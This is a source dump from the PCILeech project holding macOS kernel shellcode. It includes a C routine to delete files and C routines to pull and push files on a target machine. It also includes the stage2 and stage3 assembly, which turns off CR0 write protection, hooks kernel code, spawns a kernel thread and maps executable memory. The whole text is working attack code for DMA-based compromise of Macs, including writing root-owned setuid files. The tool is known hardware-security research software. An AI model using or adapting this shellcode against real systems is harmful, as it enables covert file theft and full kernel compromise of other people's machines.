LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 });\n\tpfn2->vnode_parent = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'a', 'r', 'e', 'n', 't', 0 });\n\tpfn2->vnode_parent = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'g', 'e', 't', 'p', 'a', 'r', 'e', 'n', 't', 0 });\n\tpfn2->vnode_put = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 });\n\tpfn2->VNOP_READ = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 });\n\tpfn2->VNOP_OPEN = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'O', 'P', 'E', 'N', 0 });\n\tpfn2->VNOP_REMOVE = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'M', 'O', 'V', 'E', 0 });\n\tpfn2->uio_addiov = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 });\n\tpfn2->uio_resid = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 });\n\tpfn2->vfs_context_current = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 });\n\tpfn2->uio_create = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 });\n\tpfn2->uio_free = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 });\n\tpfn2->strlen = LookupFunctionOSX(pk->qwAddrKernelBase,\n\t\t(CHAR[]) { '_', 's', 't', 'r', 'l', 'e', 'n', 0 });\n\tfor(QWORD i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {\n\t\tif(!((PQWORD)pfn2)[i]) {\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\treturn TRUE;\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tFN2 fn2;\n\tDWORD status = 0;\n\tQWORD vnode = 0, vnode_p = 0, vfs_current;\n\tCOMPONENTNAME cn;\n\tif(!pk->dataInStr[0]) {\n\t\tpk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;\n\t\treturn;\n\t}\n\tif(!LookupFunctions2(pk, &fn2)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n\tSysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);\n\tvfs_current = SysVCall(fn2.vfs_context_current);\n\tif(SysVCall(fn2.vnode_lookup, pk->dataInStr, 2, &vnode, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto error;\n\t}\n\n\n\n\t\n\tSysVCall(pk->fn.memset, &cn, 0, sizeof(COMPONENTNAME));\n\tcn.cn_nameiop = 2; // DELETE\n\tcn.cn_flags = 0x00008000; // last with this pathname\n\tcn.cn_reserved1 = vfs_current;\n\t//cn.obsolete1 = (VOID*)vfs_current;\n\tcn.cn_pnbuf = pk->dataInStr;\n\tcn.cn_pnlen = sizeof(pk->dataInStr);\n\tcn.cn_nameptr = cn.cn_pnbuf;\n\tcn.cn_namelen = SysVCall(fn2.strlen, pk->dataInStr);\n\t//cn.obsolete2 = vfs_current;\n\n\t//pk->dataOut[2] = SysVCall(fn2.vnode_getparent, vnode);\n\tvnode_p = SysVCall(fn2.vnode_parent, vnode);\n\tpk->dataOut[2] = vnode_p;\n\t/*SysVCall(fn2.vnode_lookup, (CHAR[]) { '/', 'v', 'a', 'r', '/', 'r', 'o', 'o', 't', 0 }, 2, &vnode_p, vfs_current);\n\tpk->dataOut[3] = vnode_p;*/\n\n\tQWORD vnode_2 = 0;\n\tpk->dataOut[4] = SysVCall(fn2.VNOP_OPEN, vnode_p, &vnode_2, &cn, vfs_current);\n\tpk->dataOut[5] = vnode_2;\n\n\n\tif(SysVCall(fn2.VNOP_REMOVE, vnode_p, vnode, &cn, 0, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto error;\n\t}\n\tstatus = 0x777;\n\nerror:\n\tif(vnode) {\n\t\tSysVCall(fn2.vnode_put, vnode);\n\t}\n\tif(vnode_p) {\n\t\tSysVCall(fn2.vnode_put, vnode_p);\n\t}\n\tpk->dataOut[0] = status;\n}"
  },
  {
    "path": "pcileech_shellcode/macos_filepull.c",
    "content": "// macos_filepull.c : kernel code to pull files from target system.\n// Compatible with Apple macOS.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// Inspired by: http://www.phrack.org/papers/revisiting-mac-os-x-kernel-rootkits.html\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_filepull.c\n// ml64.exe macos_common_a.asm /Femacos_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_filepull.obj macos_common.obj\n// shellcode64.exe -o macos_filepull.exe \"PULL FILES FROM TARGET SYSTEM                                  \\nAPPLE macOS EDITION                                            \\n===============================================================\\nPull a file from the target system to the local system.        \\nREQUIRED OPTIONS:                                              \\n  -out : file on local system to write result to.              \\n         filename is given in normal format.                   \\n         Example: '-out c:\\temp\\hosts'                         \\n  -s : file on target system.                                  \\n         Example: '-s /etc/hosts'                              \\n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\\nFILE NAME     : %s\\nRESULT CODE   : 0x%08X\\n===============================================================\\n\"\n//\n#include \"macos_common.h\"\n\ntypedef struct tdFN2 {\n\tQWORD vnode_lookup;\n\tQWORD vnode_put;\n\tQWORD VNOP_READ;\n\tQWORD uio_addiov;\n\tQWORD uio_resid;\n\tQWORD vfs_context_current;\n\tQWORD uio_create;\n\tQWORD uio_free;\n} FN2, *PFN2;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tQWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 };\n\tfor(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {\n\t\tpfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]);\n\t\tif(!pfn_qw[i]) { return FALSE; }\n\t}\n\treturn TRUE;\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tFN2 fn2;\n\tDWORD status = 0;\n\tBOOL isModeLargeTransfer = FALSE;\n\tQWORD uio = 0, vnode = 0, vfs_current, cbOffset = 0;\n\tif(!pk->dataInStr[0]) {\n\t\tpk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;\n\t\treturn;\n\t}\n\tif(!LookupFunctions2(pk, &fn2)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n\tSysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);\n\tvfs_current = SysVCall(fn2.vfs_context_current);\n\tif(SysVCall(fn2.vnode_lookup, pk->dataInStr, 0, &vnode, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto error;\n\t}\n\twhile(TRUE) {\n\t\tuio = SysVCall(fn2.uio_create, 1 /* count iov */, cbOffset /* offset */, 2 /* kernel addr */, 0 /* read */);\n\t\tif(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {\n\t\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\t\tgoto error;\n\t\t}\n\t\tif(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) {\n\t\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\t\tgoto error;\n\t\t}\n\t\tpk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio);\n\t\tif(uio) {\n\t\t\tSysVCall(fn2.uio_free, uio);\n\t\t\tuio = 0;\n\t\t}\n\t\tif(pk->dataOutExtraLength != pk->dataOutExtraLengthMax) { break; }\n\t\tisModeLargeTransfer = TRUE;\n\t\tcbOffset += pk->dataOutExtraLength;\n\t\tif(!WriteLargeOutput_WaitNext(pk)) {\n\t\t\tpk->dataOutExtraLength = 0;\n\t\t\tstatus = STATUS_FAIL_PCILEECH_CORE;\n\t\t\tgoto error;\n\t\t}\n\t}\n\tif(isModeLargeTransfer) {\n\t\tWriteLargeOutput_Finish(pk);\n\t}\nerror:\n\tif(uio) {\n\t\tSysVCall(fn2.uio_free, uio);\n\t}\n\tif(vnode) {\n\t\tSysVCall(fn2.vnode_put, vnode);\n\t}\n\tpk->dataOut[0] = status;\n}"
  },
  {
    "path": "pcileech_shellcode/macos_filepush.c",
    "content": "// macos_filepush.c : kernel code to push files to target system.\n// Compatible with Apple macOS.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_filepush.c\n// ml64.exe macos_common_a.asm /Femacos_filepush.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_filepush.obj macos_common.obj\n// shellcode64.exe -o macos_filepush.exe \"PUSH FILES TO TARGET SYSTEM                                    \\nAPPLE macOS EDITION                                            \\n===============================================================\\nPush a file from the local system to the target system.        \\nWARNING! Existing files will be overwritten!                   \\n* Files created will be created with root/wheel as owner/group \\n  and get the access mask specified in the -0 parameter.       \\n* Files overwritten will keep the access mask and owner/group. \\nREQUIRED OPTIONS:                                              \\n  -in  : file to push to target system from this system.       \\n         filename is given in normal format.                   \\n         Example: '-in c:\\temp\\random.txt'                     \\n  -s : file on target system.                                  \\n         Example: '-s /System/Library/Kernels/sip_bypass'      \\n  -0   : file access mask in HEXADECIMAL OR DECIMAL FORMAT!    \\n         NB! linux file masks are ususally typed in octal -    \\n         -rwsr-xr-x 4755 (oct) = 2541 (decimal) = 0x9ed (hex)  \\n         -rwxrwxrwx  777 (oct) =  511 (decimal) = 0x1ff (hex)  \\n         Example: '-0 0x1ff'                                   \\n  -1   : run flag - set to non zero to push file.              \\n===== PUSH ATTEMPT DETAILED RESULT INFORMATION ================\\nFILE NAME     : %s\\nRESULT CODE   : 0x%08X\\n===============================================================\\n\"\n//\n#include \"macos_common.h\"\n\n#define CONFIG_MAX_FILESIZE\t\t\t0x180000 // 1.5MB\n\ntypedef struct tdFN2 {\n\tQWORD vnode_open;\n\tQWORD vnode_close;\n\tQWORD VNOP_WRITE;\n\tQWORD uio_addiov;\n\tQWORD uio_create;\n\tQWORD uio_free;\n\tQWORD vfs_context_current;\n} FN2, *PFN2;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tQWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'o', 'p', 'e', 'n', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'c', 'l', 'o', 's', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'W', 'R', 'I', 'T', 'E', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 };\n\tfor(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {\n\t\tpfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]);\n\t\tif(!pfn_qw[i]) { return FALSE; }\n\t}\n\treturn TRUE;\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tFN2 fn2;\n\tDWORD status = 0;\n\tQWORD uio = 0, vnode = 0, vfs_current;\n\tif(!pk->dataInStr[0] || !pk->dataIn[0]) {\n\t\tpk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;\n\t\treturn;\n\t}\n\tif(!LookupFunctions2(pk, &fn2)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n\tSysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);\n\tvfs_current = SysVCall(fn2.vfs_context_current);\n\tif(SysVCall(fn2.vnode_open, pk->dataInStr, 0x0602 /* WRITE|CREATE|TRUNCATE */, pk->dataIn[0], 0, &vnode, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto error;\n\t}\n\tuio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 1 /* write */);\n\tif(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataInExtraOffset, pk->dataInExtraLength)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto error;\n\t}\n\tif(SysVCall(fn2.VNOP_WRITE, vnode, uio, 0, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto error;\n\t}\nerror:\n\tif(uio) {\n\t\tSysVCall(fn2.uio_free, uio);\n\t}\n\tif(vnode) {\n\t\tSysVCall(fn2.vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current);\n\t}\n\tpk->dataOut[0] = status;\n}"
  },
  {
    "path": "pcileech_shellcode/macos_stage2.asm",
    "content": "; ax64_stage2.asm : assembly to receive execution from stage1 shellcode.\n; Compatible with OS X.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n.CODE\n\nmain PROC\n\tmain_pre_start:\n\t; ----------------------------------------------------\n\t; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS\n\t; ----------------------------------------------------\n\tJMP main_start \n\tdata_cmpxchg_flag\t\t\t\t\tdb 00h\n\tdata_filler\t\t\t\t\t\t\tdb 00h\n\tdata_phys_addr_alloc\t\t\t\tdd 00000000h\t\t\t\t\t\t; 4 bytes offset (4 bytes long)\n\tdata_orig_code\t\t\t\t\t\tdq 0000000000000000h\t\t\t\t; 8 bytes offset (8 bytes long)\n\tdata_offset_macho_hdr\t\t\t\tdd 00000000h\t\t\t\t\t\t; 16 bytes offset (4 bytes long)\n\t; ----------------------------------------------------\n\t; 1: SAVE ORIGINAL PARAMETERS\n\t; ----------------------------------------------------\n\tmain_start:\n\tPOP rax\n\tSUB rax, 5\n\tPUSH rax\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH rdx\n\tPUSH rcx\n\tPUSH r8\n\tPUSH r9\n\t; ----------------------------------------------------\n\t; 2: ENABLE SUPERVISOR WRITE\n\t; ----------------------------------------------------\n\tMOV rcx, cr0\n\tPUSH rcx\n\tAND ecx, 0fffeffffh\n\tMOV cr0, rcx\n\t; ----------------------------------------------------\n\t; 3: RESTORE ORIGNAL (8 bytes)\n\t; ----------------------------------------------------\n\tMOV rdx, [data_orig_code]\n\tMOV [rax], rdx\n\t; ----------------------------------------------------\n\t; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tLEA rcx, data_cmpxchg_flag\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n\t; ----------------------------------------------------\n\t; 5: LOAD OFFSET TO MACH-O HEADER AND FETCH _IOCreateThread\n\t; ----------------------------------------------------\n\tMOV eax, [data_offset_macho_hdr]\n\tLEA rdi, main\n\tADD rdi, rax\n\tLEA rsi, data_str_IOCreateThread\n\tCALL macho_parse_find_symbol\n\t; ----------------------------------------------------\n\t; 6: SPAWN NEW KERNEL THREAD\n\t; ----------------------------------------------------\n\tLEA rdi, setup_threadentry\n\tENTER 20h, 0\n\tCALL rax\n\tCALL write_enable\n\tLEAVE\n\t; ----------------------------------------------------\n\t; 7: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tskipcall:\n\tPOP rax\n\tMOV cr0, rax\n\tPOP r9\n\tPOP r8\n\tPOP rcx\n\tPOP rdx\n\tPOP rsi\n\tPOP rdi\n\tRET\nmain ENDP\n\n; ----------------------------------------------------\n; enable supervisor write in cr0\n; ----------------------------------------------------\nwrite_enable PROC\n\tPUSH rax\n\tMOV rax, cr0\n\tAND eax, 0fffeffffh\n\tMOV cr0, rax\n\tPOP rax\n\tRET\nwrite_enable ENDP\n\n; ----------------------------------------------------\n; clear 8192 bytes of memory\n; destroyed registers :: rax, rcx\n; rdi -> starting address\n; ----------------------------------------------------\nclear_8k PROC\n\tXOR rax, rax\n\tMOV rcx, 1024\n\tloop_8k:\n\tMOV [rdi+8*rcx-8], rax\n\tLOOP loop_8k\n\tRET\nclear_8k ENDP\n\n; ----------------------------------------------------\n; setup function called by fresh kernel thread\n; REGISTER USAGE:\n;  rbx: address of allocated memory (physical)\n;  r12: address of allocated memory\n;  r13: address of kernel memory map\n;  r14: address of next page (used for debug)\n;  r15: address of mach-o header\n; ----------------------------------------------------\nsetup_threadentry PROC\n\t; ----------------------------------------------------\n\t; 0: INITIALIZE\n\t; ----------------------------------------------------\n\tCALL write_enable\n\tLEA r14, main\n\tAND r14, 0fffffffffffff000h\n\tADD r14, 1000h\n\tMOV eax, [data_offset_macho_hdr]\n\tLEA r15, main\n\tADD r15, rax\n\tMOV rax, cr3\t\t\t\t; DEBUG\n\tMOV [r14-8*01h], rax\t\t; DEBUG\n\t; ----------------------------------------------------\n\t; 1: IOMallocContigious\n\t; ----------------------------------------------------\n\tMOV rdi, r15\n\tLEA rsi, data_str_IOMallocContiguous\n\tCALL macho_parse_find_symbol\n\tMOV rdi, 2000h\t\t\t\t; param1 = 2 pages of memory\n\tMOV rsi, 12\t\t\t\t\t; param2 = alignment\n\tPUSH 0\n\tMOV rdx, rsp\t\t\t\t; param3 = address to place result in\n\tENTER 20h, 0\n\tCALL rax\n\tLEAVE\n\tPOP rbx\n\tCALL write_enable\n\tCMP rax, 0\n\tJE error\n\tMOV r12, rax\n\tMOV [r14-8*03h], rax\t\t; DEBUG\n\tMOV [r14-8*04h], rbx\t\t; DEBUG\n\t; ----------------------------------------------------\n\t; 2: CHECK VALIDITY\n\t; ----------------------------------------------------\n\tMOV rax, rbx\n\tSHR rax, 32\n\tCMP rax, 0\n\tJNZ error\n\t; ----------------------------------------------------\n\t; 3: CLEAR AND COPY\n\t; ----------------------------------------------------\n\tMOV rdi, r12\n\tCALL clear_8k\n\tMOV rax, 048FFFFFFF1058D48h\n\tMOV [r12+1000h], rax\n\tMOV rax, 0F07400F88348008Bh\n\tMOV [r12+1008h], rax\n\t; ----------------------------------------------------\n\t; 4: RETRIEVE VM_KERNEL_MAP\n\t; ----------------------------------------------------\n\tMOV rdi, r15\n\tLEA rsi, data_str_kernel_map\n\tCALL macho_parse_find_symbol\n\tCMP rax, 0\n\tJZ error\n\tMOV r13, [rax]\n\t; ----------------------------------------------------\n\t; 5: SET PAGE PROTECTION (RX)\n\t; ----------------------------------------------------\n\tMOV rdi, r15\n\tLEA rsi, data_str_vm_protect\n\tCALL macho_parse_find_symbol\n\tMOV rdi, r13\t\t\t\t; param1 = kernel_map\n\tMOV rsi, r12\t\t\t\t; param2 = address\n\tADD rsi, 1000h\n\tMOV rdx, 1000h\t\t\t\t; param3 = size\n\tMOV rcx, 0\t\t\t\t\t; param4 = set_maximum\n\tMOV r8, 5\t\t\t\t\t; param4 = READ/EXECUTE\n\tCALL rax\n\tCMP rax, 0\n\tJNE error\n\t; ----------------------------------------------------\n\t; 6: SET RETURN POINTER AND JMP TO NEW AREA\n\t; (thread_handle not set on macos)\n\t; ----------------------------------------------------\n\tMOV [r12+8], r15\n\tMOV [data_phys_addr_alloc], ebx\n\tMOV rax, r12\n\tADD rax, 1000h\n\tJMP rax\n\t; ----------------------------------------------------\n\t; ERROR HANDLER\n\t; ----------------------------------------------------\n\terror:\n\tMOV eax, 0FFFFFFFFh\n\tMOV [data_phys_addr_alloc], eax\n\tRET\nsetup_threadentry ENDP\n\n; ----------------------------------------------------\n; TRIVIAL VERSION OF STRCMP\n; destroyed registers :: <none>\n; rdi -> ptr to str1\n; rsi -> ptr to str2\n; rax <- 0 == success, !0 == fail\n; ----------------------------------------------------\nstrcmp_simple PROC\n\tPUSH rcx\n\tXOR rcx, rcx\n\tDEC rcx\n\tloop_strcmp:\n\tINC rcx\n\tMOV al, [rdi+rcx]\n\tCMP al, [rsi+rcx]\n\tJNE error\n\tCMP al, 0\n\tJNE loop_strcmp\n\tXOR rax, rax\n\tPOP rcx\n\tRET\n\terror:\n\tMOV al, 1\n\tPOP rcx\n\tRET\nstrcmp_simple ENDP\n\n; ----------------------------------------------------\n; LOCATE THE __LINKEDIT END ADDRESS BY SEARCHING THE MACH-O HEADER.\n; destroyed registers :: rcx\n; rdi -> macho_header address\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nmacho_parse_find_linkedit_end_addr PROC\n\tMOV eax, 0FEEDFACFh\t\t\t; mach_header_64 magic\n\tCMP eax, [rdi]\n\tJNE error\n\tMOV eax, 01000007h\t\t\t; mach_header_64 cputype\n\tCMP eax, [rdi+4]\n\tJNE error\n\n\tXOR rcx, rcx\n\tMOV rax, 044454B4E494C5F5Fh\t\t; __LINKED\n\tloop_search_linkedit:\n\tCMP rax, [rdi+rcx]\n\tJE success_search_linkedit\n\tADD rcx, 4\n\tCMP rcx, 2000h\n\tJE error\n\tJMP loop_search_linkedit\n\n\tsuccess_search_linkedit:\n\tMOV rax, [rdi+rcx+10h]\n\tADD rax, [rdi+rcx+18h]\n\tRET\n\n\terror:\n\tXOR rax, rax\n\tRET\nmacho_parse_find_linkedit_end_addr ENDP\n\n; ----------------------------------------------------\n; parse mach-o header to find symtab location.\n; NB! no sanity checks performed !!!\n; destroyed registers :: rcx\n; rdi -> macho_header address\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nmacho_parse_find_symtab PROC\n\tMOV rcx, rdi\n\tADD rcx, 20h\n\t\n\tloop_search_symtab:\n\tMOV eax, 2\n\tCMP [rcx], eax\n\tJE success_search_symtab\n\tMOV eax, [rcx+4]\n\tADD rcx, rax\n\tJMP loop_search_symtab\n\t\n\tsuccess_search_symtab:\n\tMOV rax, rcx\n\tRET\nmacho_parse_find_symtab ENDP\n\n; ----------------------------------------------------\n; FIND EXPORTED SYMBOL IN THE MACOS-X KERNEL IMAGE\n; Function parses the MACH-O header. The symbol string section\n; is located at the end of the __LINKEDIT segment. The function\n; table is located just before the symbol string section at the\n; end of __LINKEDIT. The size of the function table is found in\n; the symtab in the mach-o header.\n; destroyed registers :: rcx, r8, r9\n; rdi -> macho_header address\n; rsi -> ptr to function name\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nmacho_parse_find_symbol PROC\n\t; ecx = counter\n\t; r8  = symtab_command address\n\t; r9  = symbol_table_current address\n\t; r10 = string_table_address\n\tPUSH r10\n\tCALL macho_parse_find_symtab\n\tMOV r8, rax\n\tCALL macho_parse_find_linkedit_end_addr\n\tMOV r9, rax\n\tMOV eax, [r8+14h]\t\t; symtab_command->strsize\n\tSUB r9, rax\n\tMOV r10, r9\n\n\t; SET UP LOOP\n\tMOV ecx, [r8+0Ch]\t\t; symtab_command->nsyms\n\t\n\tfinder_loop:\n\tSUB r9, 10h\n\tMOV rax, [r9+08h]\n\tSHR rax, 32\n\tCMP eax, 0ffffff80h\n\tJNE finder_loop_next_or_exit\n\n\tMOV edi, [r9]\n\tADD rdi, r10\n\tCALL strcmp_simple\n\tCMP rax, 0\n\tJE finder_loop_success\n\n\tfinder_loop_next_or_exit:\n\tLOOP finder_loop\n\tXOR rax, rax\n\tPOP r10\n\tRET\n\n\tfinder_loop_success:\n\tMOV rax, [r9+08h]\n\tPOP r10\n\tRET \nmacho_parse_find_symbol ENDP\n\ndata_str_vm_protect\t\t\t\t\tdb '_vm_protect', 0\ndata_str_IOMallocContiguous\t\t\tdb '_IOMallocContiguous', 0\ndata_str_IOCreateThread\t\t\t\tdb '_IOCreateThread', 0\ndata_str_kernel_map\t\t\t\t\tdb '_kernel_map', 0\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/macos_stage3.asm",
    "content": "; ax64_stage3.asm : assembly to receive execution from stage2 shellcode.\n; Compatible with OS X.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN stage3_c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 1: SAME INITIAL BYTE SEQUENCE AS win7x64_stage3_pre.asm\n\t; ----------------------------------------------------\n\tlabel_main_base:\n\tLEA rax, label_main_base-8h\n\tMOV rax, [rax]\n\tCMP rax, 0\n\tJZ label_main_base\n\t; ----------------------------------------------------\n\t; 2: CALL C CODE\n\t; ----------------------------------------------------\n\tLEA rcx, label_main_base - 1000h ; address of data page in parameter 1\n\tENTER 20h, 0\n\tCALL stage3_c_EntryPoint\n\tLEAVE\n\t; ----------------------------------------------------\n\t; 3: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tRET\nmain ENDP\n\n; ----------------------------------------------------\n; TRIVIAL VERSION OF STRCMP\n; destroyed registers :: <none>\n; rdi -> ptr to str1\n; rsi -> ptr to str2\n; rax <- 0 == success, !0 == fail\n; ----------------------------------------------------\nstrcmp_simple PROC\n\tPUSH rcx\n\tXOR rcx, rcx\n\tDEC rcx\n\tloop_strcmp:\n\tINC rcx\n\tMOV al, [rdi+rcx]\n\tCMP al, [rsi+rcx]\n\tJNE error\n\tCMP al, 0\n\tJNE loop_strcmp\n\tXOR rax, rax\n\tPOP rcx\n\tRET\n\terror:\n\tMOV al, 1\n\tPOP rcx\n\tRET\nstrcmp_simple ENDP\n\n; ----------------------------------------------------\n; LOCATE THE __LINKEDIT END ADDRESS BY SEARCHING THE MACH-O HEADER.\n; destroyed registers :: rcx\n; rdi -> macho_header address\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nmacho_parse_find_linkedit_end_addr PROC\n\tMOV eax, 0FEEDFACFh\t\t\t; mach_header_64 magic\n\tCMP eax, [rdi]\n\tJNE error\n\tMOV eax, 01000007h\t\t\t; mach_header_64 cputype\n\tCMP eax, [rdi+4]\n\tJNE error\n\n\tXOR rcx, rcx\n\tMOV rax, 044454B4E494C5F5Fh\t\t; __LINKED\n\tloop_search_linkedit:\n\tCMP rax, [rdi+rcx]\n\tJE success_search_linkedit\n\tADD rcx, 4\n\tCMP rcx, 2000h\n\tJE error\n\tJMP loop_search_linkedit\n\n\tsuccess_search_linkedit:\n\tMOV 